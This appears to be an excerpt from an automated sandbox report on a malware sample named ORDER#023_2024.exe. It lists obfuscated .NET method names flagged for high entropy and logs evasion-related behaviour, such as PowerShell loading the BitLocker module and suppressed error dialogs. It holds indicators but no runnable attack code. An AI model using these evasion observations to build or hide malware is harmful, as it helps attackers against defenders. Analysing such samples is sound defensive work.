Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, cLJtNBzKxUGKXEZnr5.cs	High entropy of concatenated method names: 'H9RL25xK7x', 'u2pL1Vyp5h', 'ymRLAvKGD9', 'sOxL6bFmW7', 'Lb2Lp3dDlG', 'GCRLi8Scyr', 'OevLXXOfqr', 'R6BLVvNcV2', 'qW0L7B4E22', 'GRsLPLF2mj'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, pUkUmcdcWxcrZPseP1.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'oInQBLcYOC', 'BBJQrcVCUC', 'AlGQzR07rf', 'FiRmDXrdAj', 'iJ2mFqss8r', 'OUvmQh2Xd3', 'lPMmmMIDJC', 'pIH2Vxey19axAhHM8Tl'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, gQaaabgjPI9S2v7bX6.cs	High entropy of concatenated method names: 'oiFWyX4tff', 'LASWrqsW2F', 'OW53DURc10', 'NTi3FDMbYu', 'dq9WIqenf6', 'MnYWYTWelW', 'PwbWOP4TGd', 'ABhWZQLlem', 'P9IWEFFp92', 'fJsWT7d0aS'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, deQuraBNTFd11kZQNZ.cs	High entropy of concatenated method names: 'yKSl6CaVLc', 'LTolpqy5hx', 'onNlGp1cBn', 'S61liilGjq', 'JeVlXCaHss', 'kFTlN6ZiEM', 'IdAlhecOkl', 'gi0ljjl2f4', 'qXEl5sqjAM', 'W3wl07RycF'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, EsI8Kis0mhboOFwANE.cs	High entropy of concatenated method names: 'eIBS8FAr9e', 'WkmSUkPLbk', 'dt0dGtuLbD', 'mBwdisagaK', 'vkedXyBerU', 'BsTdNQofiJ', 'j5odhgJFFF', 'fZrdjExa0M', 'f7ud59ab3y', 'x9Ud0uifn6'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, aYL7OIagM3xfR7HlyX.cs	High entropy of concatenated method names: 'ubNWqrKAqF', 'mlJW4YFO7n', 'ToString', 'S6MWe9NBO0', 'vEHWC8Y7C1', 'qC2WdojVk0', 'SNEWSiPDXD', 'uFWWkwGxdS', 'lpjWw6rgPi', 'fNnWJP8pTk'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, g58dCb1xNyIgM5il43.cs	High entropy of concatenated method names: 'mYLCZfZKaD', 'BCqCEpZlA2', 'DjnCTqoapT', 'u3rCaSMWTw', 'hOGCMt3ITl', 'HI4Cgt700P', 'ECaCcETmL3', 'J9gCy0m2Ut', 'fZJCBVQ5gg', 'D5HCrSuvbX'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, sPMQ5MZRKlspA1tXW9.cs	High entropy of concatenated method names: 'Jusx01hfuZ', 'i3wxYgSePK', 'QYixZd7oba', 'qkSxEdKyxn', 'scExpahyFt', 'BcQxGtLmuS', 'FMfxinjEjC', 'yW4xXYpMf7', 'BFqxNvM6Jm', 'df9xhR50YF'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, LCgYKpJHO2S8TItW51.cs	High entropy of concatenated method names: 'AZsmfhwljj', 'QhCmeBZH42', 'FW0mC0MJQo', 'vCWmdlnH4r', 'J6WmSH8ALa', 'AaYmkTEO6U', 'Sn2mw2OOvd', 'k7imJDjdP7', 'yTwm9f919W', 'GgYmqgbh3I'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, LTJ54hcgJyVq4qwIaU.cs	High entropy of concatenated method names: 'NTdlxUw5Yi', 'AvtlWpMOAc', 'VnjllNXyIM', 'QZilua5ACY', 'd8ulvVhYUR', 'Eb6lVyP0ir', 'Dispose', 'LiH3e0oDQA', 'VMt3CpclcK', 'dfZ3dvaehy'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, jQXKVCCbaUgppx8D74.cs	High entropy of concatenated method names: 'Dispose', 'WVqFB4qwIa', 'dr7Qp55EfL', 'IwEoMVKlAE', 'C17FrE9QUh', 'QlnFzyEATM', 'ProcessDialogKey', 'WlmQDeQura', 'KTFQFd11kZ', 'bNZQQRHRdJ'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, YhvwW2A0kpaKtdhK3I.cs	High entropy of concatenated method names: 'cFudnnvHJC', 'Vvad2SXZuC', 'kWBd1JVItW', 'RASdANf7MN', 'yQDdxV5KiW', 'dxVdtD5aF2', 'kLedWYVqc6', 'qCGd3YiRq4', 'caldl8GBfw', 'soVdLsMQlm'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, dFDAWt5kTHYbMkJMpD.cs	High entropy of concatenated method names: 'mCYw7Q9bSS', 'oSLwPSlO6P', 'sA1wbrg10j', 'BRRwnRyWiV', 'iEDw8JNsWh', 'Fcww2K5ee0', 'JgCwUUfqXC', 'Wtjw1fFmxI', 'pFTwAWPhit', 'Q5wwsPIOqt'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, z6XscJ6vdpxEoclvPA.cs	High entropy of concatenated method names: 'zERkfrkuwE', 'oQMkCvoqgZ', 'EerkSOABVR', 'nA0kw1WWim', 'rw9kJJOG4r', 'JJMSMsEpMp', 'S05SgHQXR8', 'gwQScE8Afn', 'VMeSyVqbZH', 'O5aSB7AxqS'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, nHRdJqrWBCQAiP7Qb0.cs	High entropy of concatenated method names: 'eHhLdxe3Jw', 'mSDLS8KwlJ', 'IZlLkegYqr', 'QdaLwwNyy7', 'XbNLlhfPBO', 'RXELJB7LJ2', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, N2J62jQc7ybumY3Xkb.cs	High entropy of concatenated method names: 'TeKbPa7X5', 'If7nTIXjK', 'BoV2LPw0M', 'xgkUaUExq', 'XT9Ag5TTO', 'ifEsnG3eS', 'ia2f0QNC5IjP21oXAL', 'hwMdhlBuHBxlNrZbD8', 'xhi3GZLct', 'Jv2LTU2FP'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, raADa7FQtYsyBmlXbnb.cs	High entropy of concatenated method names: 'ToString', 'Xslu1MbqWw', 'WTjuAOyy5w', 'sqqusHA2ap', 'ReYu6x3CSy', 'ds9upRSG5G', 'T5wuGBlBcb', 'K8Huinot7u', 'fAkJQFjrZEOF88mdGaV', 'JqFNkEjT0fXwx4I2QRS'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, NowMJVFDBjDQLXHi9mx.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'vUHLIGymjO', 'YVbLYQZrmH', 'cqULONTT0Y', 'XNnLZlFDXg', 'AR1LEg12r9', 'Fd8LTZeHTH', 'rSnLaut5Da'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, jw7ygmFFcUaSatAc2D4.cs	High entropy of concatenated method names: 'SBMLr4Cor2', 'fq6LzkCbZF', 'fFouDfmpBp', 'iq2uFtbhqq', 'CRouQYUnNU', 'rwNumGSdVD', 'I0ouKCWW5s', 'KYEufuEcmA', 'wuwue7j65L', 'tSUuCyXwgZ'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, JTgEbKhbABArjRRoho.cs	High entropy of concatenated method names: 'IWZweIPyqx', 'DiTwd0Mmm3', 'FVkwkbZtlJ', 'QtikrCCbQY', 'oGAkzJ5xXY', 'pBVwDaPf1t', 'ajwwFDitpy', 'l0UwQcZcJ5', 'Oa8wm8Y2nS', 'n4rwKhgmQ0'
Source: 0.2.ORDER#023_2024.exe.76f0000.5.raw.unpack, nhHaQcK5gEaIGUBLTo.cs	High entropy of concatenated method names: 'VPCFw58dCb', 'oNyFJIgM5i', 'C0kFqpaKtd', 'LK3F4IAsI8', 'bwAFxNEn6X', 'FcJFtvdpxE', 'OWPRsPT4RQ9gGmUnbd', 'KE9OjgdIlbiKMmunlB', 'H59FFgOHEA', 'gigFmBudIF'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, PRGi5AO7gC1weP7l0w.cs	High entropy of concatenated method names: 'uyMR1wbD1g', 'B8hRA6y39m', 'ChoR6IZ6Er', 'VMcRpx58is', 'onTRiZ25lA', 'MSrRXXLCr0', 'jcuRhA0hyO', 'Yp5RjgslrC', 's7eR0YhYQt', 'L91RIMKOur'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, X5DkZbFK444lv0qKDqV.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'sTdolwte3v', 'oc9oLxCqUf', 'GNgou0DbNW', 'Qa6ooxyhOS', 'vxdovZuO5m', 'r42oHJWXLC', 'OwGoVMgsWy'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, cLJtNBzKxUGKXEZnr5.cs	High entropy of concatenated method names: 'H9RL25xK7x', 'u2pL1Vyp5h', 'ymRLAvKGD9', 'sOxL6bFmW7', 'Lb2Lp3dDlG', 'GCRLi8Scyr', 'OevLXXOfqr', 'R6BLVvNcV2', 'qW0L7B4E22', 'GRsLPLF2mj'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, pUkUmcdcWxcrZPseP1.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'oInQBLcYOC', 'BBJQrcVCUC', 'AlGQzR07rf', 'FiRmDXrdAj', 'iJ2mFqss8r', 'OUvmQh2Xd3', 'lPMmmMIDJC', 'pIH2Vxey19axAhHM8Tl'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, gQaaabgjPI9S2v7bX6.cs	High entropy of concatenated method names: 'oiFWyX4tff', 'LASWrqsW2F', 'OW53DURc10', 'NTi3FDMbYu', 'dq9WIqenf6', 'MnYWYTWelW', 'PwbWOP4TGd', 'ABhWZQLlem', 'P9IWEFFp92', 'fJsWT7d0aS'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, deQuraBNTFd11kZQNZ.cs	High entropy of concatenated method names: 'yKSl6CaVLc', 'LTolpqy5hx', 'onNlGp1cBn', 'S61liilGjq', 'JeVlXCaHss', 'kFTlN6ZiEM', 'IdAlhecOkl', 'gi0ljjl2f4', 'qXEl5sqjAM', 'W3wl07RycF'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, EsI8Kis0mhboOFwANE.cs	High entropy of concatenated method names: 'eIBS8FAr9e', 'WkmSUkPLbk', 'dt0dGtuLbD', 'mBwdisagaK', 'vkedXyBerU', 'BsTdNQofiJ', 'j5odhgJFFF', 'fZrdjExa0M', 'f7ud59ab3y', 'x9Ud0uifn6'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, aYL7OIagM3xfR7HlyX.cs	High entropy of concatenated method names: 'ubNWqrKAqF', 'mlJW4YFO7n', 'ToString', 'S6MWe9NBO0', 'vEHWC8Y7C1', 'qC2WdojVk0', 'SNEWSiPDXD', 'uFWWkwGxdS', 'lpjWw6rgPi', 'fNnWJP8pTk'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, g58dCb1xNyIgM5il43.cs	High entropy of concatenated method names: 'mYLCZfZKaD', 'BCqCEpZlA2', 'DjnCTqoapT', 'u3rCaSMWTw', 'hOGCMt3ITl', 'HI4Cgt700P', 'ECaCcETmL3', 'J9gCy0m2Ut', 'fZJCBVQ5gg', 'D5HCrSuvbX'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, sPMQ5MZRKlspA1tXW9.cs	High entropy of concatenated method names: 'Jusx01hfuZ', 'i3wxYgSePK', 'QYixZd7oba', 'qkSxEdKyxn', 'scExpahyFt', 'BcQxGtLmuS', 'FMfxinjEjC', 'yW4xXYpMf7', 'BFqxNvM6Jm', 'df9xhR50YF'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, LCgYKpJHO2S8TItW51.cs	High entropy of concatenated method names: 'AZsmfhwljj', 'QhCmeBZH42', 'FW0mC0MJQo', 'vCWmdlnH4r', 'J6WmSH8ALa', 'AaYmkTEO6U', 'Sn2mw2OOvd', 'k7imJDjdP7', 'yTwm9f919W', 'GgYmqgbh3I'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, LTJ54hcgJyVq4qwIaU.cs	High entropy of concatenated method names: 'NTdlxUw5Yi', 'AvtlWpMOAc', 'VnjllNXyIM', 'QZilua5ACY', 'd8ulvVhYUR', 'Eb6lVyP0ir', 'Dispose', 'LiH3e0oDQA', 'VMt3CpclcK', 'dfZ3dvaehy'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, jQXKVCCbaUgppx8D74.cs	High entropy of concatenated method names: 'Dispose', 'WVqFB4qwIa', 'dr7Qp55EfL', 'IwEoMVKlAE', 'C17FrE9QUh', 'QlnFzyEATM', 'ProcessDialogKey', 'WlmQDeQura', 'KTFQFd11kZ', 'bNZQQRHRdJ'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, YhvwW2A0kpaKtdhK3I.cs	High entropy of concatenated method names: 'cFudnnvHJC', 'Vvad2SXZuC', 'kWBd1JVItW', 'RASdANf7MN', 'yQDdxV5KiW', 'dxVdtD5aF2', 'kLedWYVqc6', 'qCGd3YiRq4', 'caldl8GBfw', 'soVdLsMQlm'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, dFDAWt5kTHYbMkJMpD.cs	High entropy of concatenated method names: 'mCYw7Q9bSS', 'oSLwPSlO6P', 'sA1wbrg10j', 'BRRwnRyWiV', 'iEDw8JNsWh', 'Fcww2K5ee0', 'JgCwUUfqXC', 'Wtjw1fFmxI', 'pFTwAWPhit', 'Q5wwsPIOqt'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, z6XscJ6vdpxEoclvPA.cs	High entropy of concatenated method names: 'zERkfrkuwE', 'oQMkCvoqgZ', 'EerkSOABVR', 'nA0kw1WWim', 'rw9kJJOG4r', 'JJMSMsEpMp', 'S05SgHQXR8', 'gwQScE8Afn', 'VMeSyVqbZH', 'O5aSB7AxqS'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, nHRdJqrWBCQAiP7Qb0.cs	High entropy of concatenated method names: 'eHhLdxe3Jw', 'mSDLS8KwlJ', 'IZlLkegYqr', 'QdaLwwNyy7', 'XbNLlhfPBO', 'RXELJB7LJ2', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, N2J62jQc7ybumY3Xkb.cs	High entropy of concatenated method names: 'TeKbPa7X5', 'If7nTIXjK', 'BoV2LPw0M', 'xgkUaUExq', 'XT9Ag5TTO', 'ifEsnG3eS', 'ia2f0QNC5IjP21oXAL', 'hwMdhlBuHBxlNrZbD8', 'xhi3GZLct', 'Jv2LTU2FP'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, raADa7FQtYsyBmlXbnb.cs	High entropy of concatenated method names: 'ToString', 'Xslu1MbqWw', 'WTjuAOyy5w', 'sqqusHA2ap', 'ReYu6x3CSy', 'ds9upRSG5G', 'T5wuGBlBcb', 'K8Huinot7u', 'fAkJQFjrZEOF88mdGaV', 'JqFNkEjT0fXwx4I2QRS'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, NowMJVFDBjDQLXHi9mx.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'vUHLIGymjO', 'YVbLYQZrmH', 'cqULONTT0Y', 'XNnLZlFDXg', 'AR1LEg12r9', 'Fd8LTZeHTH', 'rSnLaut5Da'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, jw7ygmFFcUaSatAc2D4.cs	High entropy of concatenated method names: 'SBMLr4Cor2', 'fq6LzkCbZF', 'fFouDfmpBp', 'iq2uFtbhqq', 'CRouQYUnNU', 'rwNumGSdVD', 'I0ouKCWW5s', 'KYEufuEcmA', 'wuwue7j65L', 'tSUuCyXwgZ'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, JTgEbKhbABArjRRoho.cs	High entropy of concatenated method names: 'IWZweIPyqx', 'DiTwd0Mmm3', 'FVkwkbZtlJ', 'QtikrCCbQY', 'oGAkzJ5xXY', 'pBVwDaPf1t', 'ajwwFDitpy', 'l0UwQcZcJ5', 'Oa8wm8Y2nS', 'n4rwKhgmQ0'
Source: 0.2.ORDER#023_2024.exe.3d89820.2.raw.unpack, nhHaQcK5gEaIGUBLTo.cs	High entropy of concatenated method names: 'VPCFw58dCb', 'oNyFJIgM5i', 'C0kFqpaKtd', 'LK3F4IAsI8', 'bwAFxNEn6X', 'FcJFtvdpxE', 'OWPRsPT4RQ9gGmUnbd', 'KE9OjgdIlbiKMmunlB', 'H59FFgOHEA', 'gigFmBudIF'

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
